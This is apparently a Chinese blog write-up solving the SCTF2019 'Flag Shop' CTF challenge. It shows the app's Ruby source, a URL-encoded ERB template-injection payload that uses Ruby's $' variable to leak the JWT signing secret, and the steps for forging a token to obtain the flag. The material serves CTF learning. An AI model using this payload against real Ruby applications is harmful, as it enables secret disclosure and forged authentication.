0%

[SCTF2019]Flag Shop

0x00 前言

​ 这次学习了JWTRuby模板注入。因为当初没有写过有关JWTRuby的文章,在此记录。

0x01 探测

​ 刚进入题目就是一个一直刷新的界面,看得人生理性的不适。抓包看了一下也没看出什么名堂,丢进扫描器不一会就扫出了一个robots.txt。发现了一个/filebak,一进去就是源码。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

0x02 分析

​ 有一说一,这源码我是看不懂的,但是毕竟学过几种语言,勉强理解它的意思还是可以做到的。分析就不瞎分析了,免得误导别人。我们直接来看flag的获取条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end

​ 其实猜也猜得到,首先我们要登录,然后让我们账号的jkl值大于1000000000000000000000000000才能拿到flag。当然这里我们先看一下登录机制。

1
2
3
4
5
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

​ 结合上面的代码我们可以看出authJWT。然后继续看发现访问/api/auth可以获得JWT。至于为什么会无限的刷新,就是因为这个islogin会一直检测我们是否有auth。没有就会跳转。熟悉JWT的同学应该都知道JWT中最重要的就是SECRET_KEY,有了SECRET_KEY我们完全可以伪造JWT。源码中也说了,这里的SECRET是随机生成的一个。我也尝试了爆破,但是爆到我做完题目都没爆破出来。所以爆破是异想天开。那么有什么办法可以获取到SECRET呢?

​ 到这里我就不会了,只能看着WriteUp来做。WriteUp说这里存在Erb模板注入。

img

先说一下Erb模板注入的<%=%>至少要五个字符,所以我们能控制的只有两个字符而已。我懂了quq

这里需要用到Ruby语言的一个特性。我们可以利用$'来返回正则匹配结果的右边。举个例子:

1
2
3
4
5
6
7
8
>> "There were once ten tin robots standing in a row." =~ /robot/
#意思就是正则匹配 robot
=> 24
>> $'
=> "s standing in a row."
#返回了右半部分。
=> "ro"
=> nil

想要了解更多的特性请看文档:https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html。

​ 而我们注意上面的if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")。这里直接拿环境里的SECRET和你输入做正则匹配,而如果我们输入的是SECRET=那么是不是一个字符都没有匹配呢?答案是肯定的,这时候我们的$'其实就是ENV['SECRET']了,因为没有匹配的话默认整个字符串都是匹配结果右侧的。

​ 继续读源码我们可以发现,这里是可以直接回显<%=$'%>的,通过使用name=<%=$'%>&do=<%=$'%> is working

所以我们可以构造出下面的Payload

1
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

​ 但是先别急,你用上面的Payload肯定是跑不出来的,因为这个Payload中含有特殊字符,我说过很多次了,使用GET方式传变量时,只要不是题目刻意设置url编码的问题,先urlencode一遍总是没什么大错的,反而很有可能帮你避免一些问题。这题就是这样,那么我们写最终Payload吧:

1
/work?SECRET=&name=%3C%25%3D$'%25%3E&do=%3C%25%3D$'%25%3E%20is%20working

成功跑出SECRET:

img

​ 拿我们好用的工具来伪造JWT。这里我推荐直接在官网伪造。

img

抓包,发包(记得改为POST方式)

img

JWT解码就是flag了。

img

其实还有一种获得SECRET的方法就是按位爆破。不过方法有点麻烦了,有兴趣的可以看下面的链接。

0x03 结语

​ 感觉这一篇可以发到blog去。。嗯~~,那就发吧。如果有大佬看出我的问题,可以联系我修改,提前感谢。

QQ:550532788

也欢迎加我QQ来找我玩的QwQ。毕竟一个人的Web真的好无聊。

0x04 参考

题目名称:[SCTF2019]Flag Shop

题目WP:

https://www.jianshu.com/p/c1c9b6d1e826

https://blog.csdn.net/a3320315/article/details/104265742?depth_1-utm_source=distribute.pc_relevant_right.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant_right.none-task-blog-BlogCommendFromBaidu-1

复现平台:https://buuoj.cn/